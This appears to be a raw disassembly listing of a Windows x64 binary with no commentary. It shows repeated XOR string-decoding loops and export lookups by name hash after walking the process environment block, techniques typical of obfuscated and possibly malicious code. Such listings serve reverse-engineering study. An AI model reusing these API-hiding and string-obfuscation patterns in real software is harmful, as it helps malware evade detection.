mov word [rbp + 0xa80], ax
movzx eax, byte [0x14008e542]
mov byte [rbp + 0xa82], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140010299
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xa5c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140010190
cmp r8d, 0x2b
jge 0x1400102e0
movsxd rax, r8d
lea r9, [rbp + 0xa58]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400102b0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0xa58]
lea rcx, [rbp + 0x1b70]
call fcn.1400159e0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1c80]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14008e418]
movups xmmword [rbp + 0xa28], xmm0
movups xmm1, xmmword [0x14008e428]
movups xmmword [rbp + 0xa38], xmm1
movsd xmm0, qword [0x14008e438]
movsd qword [rbp + 0xa48], xmm0
movzx eax, word [0x14008e440]
mov word [rbp + 0xa50], ax
movzx eax, byte [0x14008e442]
mov byte [rbp + 0xa52], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400104b9
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xa2c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400103b0
cmp r8d, 0x2b
jge 0x140010500
movsxd rax, r8d
lea r9, [rbp + 0xa28]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x1400104d0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0xa28]
lea rcx, [rbp + 0x1c80]
call fcn.1400159e0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1d90]
call sub.VCRUNTIME140.dll_memset
movups xmm0, xmmword [0x14008d850]
movups xmmword [rbp + 0x9c8], xmm0
movups xmm1, xmmword [0x14008d860]
movups xmmword [rbp + 0x9d8], xmm1
movsd xmm0, qword [0x14008d870]
movsd qword [rbp + 0x9e8], xmm0
movzx eax, byte [0x14008d878]
mov byte [rbp + 0x9f0], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400106c9
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x9cc]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400105c0
cmp r8d, 0x29
jge 0x140010710
movsxd rax, r8d
lea r9, [rbp + 0x9c8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x1400106e0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1e]
lea rdx, [rbp + 0x9c8]
lea rcx, [rbp + 0x1d90]
call fcn.1400159e0
nop
mov r8, qword [rbp + 0x1688]
mov rdx, qword [rbp + 0x1680]
sub r8, rdx
lea rcx, [rbp + 0x1950]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x1670]
mov rdx, qword [rbp + 0x1668]
sub r8, rdx
lea rcx, [rbp + 0x1a60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x1658]
mov rdx, qword [rbp + 0x1650]
sub r8, rdx
lea rcx, [rbp + 0x1b70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x1640]
mov rdx, qword [rbp + 0x1638]
sub r8, rdx
lea rcx, [rbp + 0x1c80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x1628]
mov rdx, qword [rbp + 0x1620]
sub r8, rdx
lea rcx, [rbp + 0x1d90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1950]
call fcn.1400158e0
lea rcx, [rbp + 0x1a60]
call fcn.1400158e0
lea rcx, [rbp + 0x1b70]
call fcn.1400158e0
lea rcx, [rbp + 0x1c80]
call fcn.1400158e0
lea rcx, [rbp + 0x1d90]
call fcn.1400158e0
movups xmm0, xmmword [str.u_rdnSUXRIL]
movups xmmword [rbp + 0xb78], xmm0
movups xmm1, xmmword [0x14008e7a8]
movups xmmword [rbp + 0xb88], xmm1
movsd xmm0, qword [0x14008e7b8]
movsd qword [rbp + 0xb98], xmm0
mov eax, dword [0x14008e7c0]
mov dword [rbp + 0xba0], eax
movzx eax, word [0x14008e7c4]
mov word [rbp + 0xba4], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14001099a
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xb7c]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140010891
cmp r8d, 0x2e
jge 0x1400109e0
movsxd rax, r8d
lea r9, [rbp + 0xb78]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x1400109b0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ecx, dword [rcx + r10 + 0x88]
add rcx, r10
mov qword [rsp + 0x38], rcx
cmp rcx, r10
je 0x140010a9f
mov r9d, dword [rcx + 0x18]
test r9d, r9d
je 0x140010a9f
mov edx, dword [rcx + 0x20]
mov qword [rsp + 0x40], rdx
nop word [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdx]
add rdx, r10
mov r8d, 0xcceeb451
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140010a95
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140010a70
cmp r8d, 0xd6fe530
je 0x140010aa7
test r9d, r9d
mov rdx, qword [rsp + 0x40]
jne 0x140010a40
mov rax, qword [rax]
jmp 0x140010a00
mov rax, qword [rsp + 0x38]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xb78]
call rdx
mov edx, 4
lea rcx, [rbp + 0x5b8]
call fcn.140003d20
mov qword [rsp + 0x38], rax
mov edx, 4
lea rcx, [rbp + 0x5d8]
call fcn.140003d20
mov r10, rax
movups xmm0, xmmword [0x14008e740]
movups xmmword [rbp + 0xba8], xmm0
movups xmm1, xmmword [0x14008e750]
movups xmmword [rbp + 0xbb8], xmm1
movsd xmm0, qword [0x14008e760]
movsd qword [rbp + 0xbc8], xmm0
mov ecx, dword [0x14008e768]
mov dword [rbp + 0xbd0], ecx
movzx eax, word [0x14008e76c]
mov word [rbp + 0xbd4], ax
movzx eax, byte [0x14008e76e]
mov byte [rbp + 0xbd6], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140010c99
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xbac]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140010b90
cmp r8d, 0x2f
jge 0x140010ce0
movsxd rax, r8d
lea r9, [rbp + 0xba8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140010cb0
lea rax, [rbp + 0xba8]
mov r9, 0xffffffffffffffff
nop
inc r9
cmp byte [rax + r9], 0
jne 0x140010cf0
lea r8, [rbp + 0xba8]
xor edx, edx
mov rcx, r10
call fcn.140017340
mov rdx, rax
lea rcx, [rbp + 0x5f8]
call fcn.140015e00
nop
mov r8d, 1
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x5f8]
call fcn.140016400
mov rdx, rax
lea rcx, [rbp + 0x618]
call fcn.140015e00
nop
mov r9, qword [rsp + 0x38]
lea r8, [rbp + 0x618]
movzx edx, r12b
lea rcx, [rbp + 0x638]
call fcn.140017150
nop
lea rcx, [rbp + 0x638]
call fcn.140016490
mov qword [rsp + 0x38], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov eax, dword [rdx + r10 + 0x88]
add rax, r10
mov qword [rsp + 0x40], rax
cmp rax, r10
je 0x140010e2f
mov r9d, dword [rax + 0x18]
test r9d, r9d
je 0x140010e2f
mov edx, dword [rax + 0x20]
mov qword [rsp + 0x50], rdx
nop word [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + rdx]
add rdx, r10
mov r8d, 0xa8327dd5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140010e25
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140010e00
cmp r8d, 0x4dfd6ac
je 0x140010e37
test r9d, r9d
mov rdx, qword [rsp + 0x50]
jne 0x140010dd0
mov rcx, qword [rcx]
jmp 0x140010d90
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x1c]
add rcx, r10
mov eax, dword [rax + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rsp + 0x38]
call rdx
nop
lea rcx, [rbp + 0x638]
call fcn.140015da0
nop
lea rcx, [rbp + 0x618]
call fcn.140015da0
nop
lea rcx, [rbp + 0x5f8]
call fcn.140015da0
nop
lea rcx, [rbp + 0x5d8]
call fcn.140015da0
nop
lea rcx, [rbp + 0x5b8]
call fcn.140015da0
mov edx, 4
lea rcx, [rbp + 0x658]
call fcn.140003d20
mov qword [rsp + 0x38], rax
mov edx, 4
lea rcx, [rbp + 0x678]
call fcn.140003d20
mov r10, rax
movups xmm0, xmmword [0x14008e340]
movups xmmword [rbp + 0xbd8], xmm0
movups xmm1, xmmword [0x14008e350]
movups xmmword [rbp + 0xbe8], xmm1
movsd xmm0, qword [0x14008e360]
movsd qword [rbp + 0xbf8], xmm0
mov ecx, dword [0x14008e368]
mov dword [rbp + 0xc00], ecx
movzx eax, word [0x14008e36c]
mov word [rbp + 0xc04], ax
movzx eax, byte [0x14008e36e]
mov byte [rbp + 0xc06], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140011069
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0xbdc]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140010f60
cmp r8d, 0x2f
jge 0x1400110b0
movsxd rax, r8d
lea r9, [rbp + 0xbd8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140011080
lea rax, [rbp + 0xbd8]
mov r9, 0xffffffffffffffff
nop
inc r9
cmp byte [rax + r9], 0
jne 0x1400110c0
lea r8, [rbp + 0xbd8]
xor edx, edx
mov rcx, r10
call fcn.140017340
mov rdx, rax
lea rcx, [rbp + 0x698]
call fcn.140015e00
nop
mov r8d, 1
lea rdx, reloc.WLDAP32.dll_Ordinal_45
lea rcx, [rbp + 0x698]
call fcn.140016400
mov rdx, rax
lea rcx, [rbp + 0x6b8]
call fcn.140015e00
nop
mov r9, qword [rsp + 0x38]
lea r8, [rbp + 0x6b8]
movzx edx, r13b
lea rcx, [rbp + 0x6d8]
call fcn.140017150
nop
lea rcx, [rbp + 0x6d8]
call fcn.140016490
mov qword [rsp + 0x38], rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov eax, dword [rdx + r10 + 0x88]
add rax, r10
mov qword [rsp + 0x40], rax
cmp rax, r10
je 0x1400111ff
mov eax, dword [0x14008d574]
mov dword [rsp + 0x78], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140014860
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140014821
movdqa xmm3, xmmword [0x14008e970]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008e9d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008e9d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14008e9c0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x78], xmm2
jmp 0x140014860
lea r8, [rsp + 0x78]
xor r9d, r9d
nop dword [rax]
mov eax, 0x4d4873ed
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r9b
sub al, cl
add al, 0x36
xor byte [r8], al
inc r9d
lea r8, [r8 + 1]
cmp r9d, 4
jl 0x140014830
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14001490a
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14001490a
mov ebx, dword [rdi + 0x20]
nop dword [rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x222f8e7c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140014905
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400148e0
cmp r8d, 0x71b2b335
je 0x140014912
test r9d, r9d
jne 0x1400148b0
mov rax, qword [rax]
jmp 0x140014880
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x78]
call rdx
xor ecx, ecx
int 0x29
lea rcx, [rbp + 0x16b8]
call fcn.140015da0
nop
lea rcx, [rbp + 0x1ea0]
call fcn.1400149b0
xor eax, eax
mov rcx, qword [rbp + 0x2120]
xor rcx, rsp
call fcn.14007b1e0
lea r11, [rsp + 0x2250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret